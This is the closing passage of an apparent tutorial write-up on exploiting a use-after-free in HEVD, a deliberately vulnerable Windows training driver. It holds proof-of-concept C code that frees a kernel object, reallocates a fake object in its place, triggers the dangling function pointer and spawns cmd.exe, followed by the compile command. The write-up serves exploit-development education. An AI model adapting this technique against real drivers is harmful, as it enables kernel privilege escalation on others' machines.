sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing object\n");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAF\n");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
printf("[+] Enjoy the shell :)\n\n");
system("cmd.exe");
}
Once compiled:
i686-w64-mingw32-gcc poc.c -o poc.exe
We get our shell!
Sources
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code